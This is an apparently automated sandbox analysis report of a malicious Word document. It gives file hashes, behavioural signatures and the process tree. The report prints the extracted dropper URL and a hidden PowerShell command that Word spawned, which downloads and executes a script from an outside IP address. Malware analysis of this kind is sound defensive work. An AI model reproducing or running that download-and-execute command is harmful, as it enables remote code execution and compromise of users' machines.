Analysis

  • max time kernel
    47s
  • max time network
    34s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-05-2024 03:48

General

  • Target

    b57a7ae7713c20f440a05c90b304ce9a9bef9d06a0a09af7244d9127e0a6fbff.doc

  • Size

    35KB

  • MD5

    f9af364d20bbcdc7da8d6e7d923d4683

  • SHA1

    ca49e314cda4a715c39afd3bb0449661cf9163ce

  • SHA256

    b57a7ae7713c20f440a05c90b304ce9a9bef9d06a0a09af7244d9127e0a6fbff

  • SHA512

    3bcae8c1da6b5bc64bb5151059632305b40e0a0f9b042a008233a1a829bc33af9f5267d05e56875064105118e97b0228a15f99d1f48aac977d1bc7655a34de0a

  • SSDEEP

    192:i9nuUZEvAqetQy6/6rJ984woO+QHj180bYvTSuY8v250jvoMwAOgsZDOcw2piFTK:iB/iSJPw+QD18jSbR50jvoMMzs9qtv

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://16.16.100.239/pew

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\b57a7ae7713c20f440a05c90b304ce9a9bef9d06a0a09af7244d9127e0a6fbff.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1488
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring('http://16.16.100.239/pew'))
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:5080
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring('http://16.16.100.239/pew'))
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:3064

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    2f57fde6b33e89a63cf0dfdd6e60a351

    SHA1

    445bf1b07223a04f8a159581a3d37d630273010f

    SHA256

    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

    SHA512

    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    b66db53846de4860ca72a3e59b38c544

    SHA1

    2202dc88e9cddea92df4f4e8d83930efd98c9c5a

    SHA256

    b1a00fcea37b39a5556eea46e50711f7713b72be077a73cb16515ca3538d6030

    SHA512

    72eff4ae1d541c4438d3cd85d2c1a8c933744b74c7a2a4830ffe398fee88f1a8c5b241d23e94bcdf43b4be28c2747b331a280a7dc67ab67d8e72c6569f016527

  • C:\Users\Admin\AppData\Local\Temp\TCD9584.tmp\gb.xsl

    Filesize

    262KB

    MD5

    51d32ee5bc7ab811041f799652d26e04

    SHA1

    412193006aa3ef19e0a57e16acf86b830993024a

    SHA256

    6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

    SHA512

    5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sspzuvaf.zka.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1488-14-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

    Filesize

    2.0MB

  • memory/1488-18-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

    Filesize

    2.0MB

  • memory/1488-6-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

    Filesize

    2.0MB

  • memory/1488-7-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

    Filesize

    2.0MB

  • memory/1488-9-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

    Filesize

    2.0MB

  • memory/1488-8-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

    Filesize

    2.0MB

  • memory/1488-13-0x00007FF8C9E60000-0x00007FF8C9E70000-memory.dmp

    Filesize

    64KB

  • memory/1488-12-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

    Filesize

    2.0MB

  • memory/1488-11-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

    Filesize

    2.0MB

  • memory/1488-10-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

    Filesize

    2.0MB

  • memory/1488-0-0x00007FF8CC050000-0x00007FF8CC060000-memory.dmp

    Filesize

    64KB

  • memory/1488-16-0x00007FF8C9E60000-0x00007FF8C9E70000-memory.dmp

    Filesize

    64KB

  • memory/1488-15-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

    Filesize

    2.0MB

  • memory/1488-5-0x00007FF90C06D000-0x00007FF90C06E000-memory.dmp

    Filesize

    4KB

  • memory/1488-20-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

    Filesize

    2.0MB

  • memory/1488-19-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

    Filesize

    2.0MB

  • memory/1488-17-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

    Filesize

    2.0MB

  • memory/1488-49-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

    Filesize

    2.0MB

  • memory/1488-615-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

    Filesize

    2.0MB

  • memory/1488-1-0x00007FF8CC050000-0x00007FF8CC060000-memory.dmp

    Filesize

    64KB

  • memory/1488-4-0x00007FF8CC050000-0x00007FF8CC060000-memory.dmp

    Filesize

    64KB

  • memory/1488-3-0x00007FF8CC050000-0x00007FF8CC060000-memory.dmp

    Filesize

    64KB

  • memory/1488-608-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

    Filesize

    2.0MB

  • memory/1488-2-0x00007FF8CC050000-0x00007FF8CC060000-memory.dmp

    Filesize

    64KB

  • memory/5080-112-0x000001D278130000-0x000001D278152000-memory.dmp

    Filesize

    136KB

  • memory/5080-614-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

    Filesize

    2.0MB

  • memory/5080-106-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

    Filesize

    2.0MB